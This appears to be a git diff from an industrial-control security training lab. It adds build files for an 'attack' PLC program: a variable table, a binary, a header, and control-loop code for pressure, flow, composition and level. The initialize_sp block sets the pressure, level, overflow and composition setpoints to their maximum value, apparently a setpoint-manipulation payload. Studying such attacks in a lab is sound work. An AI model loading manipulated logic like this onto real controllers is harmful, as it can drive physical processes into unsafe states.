+346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + 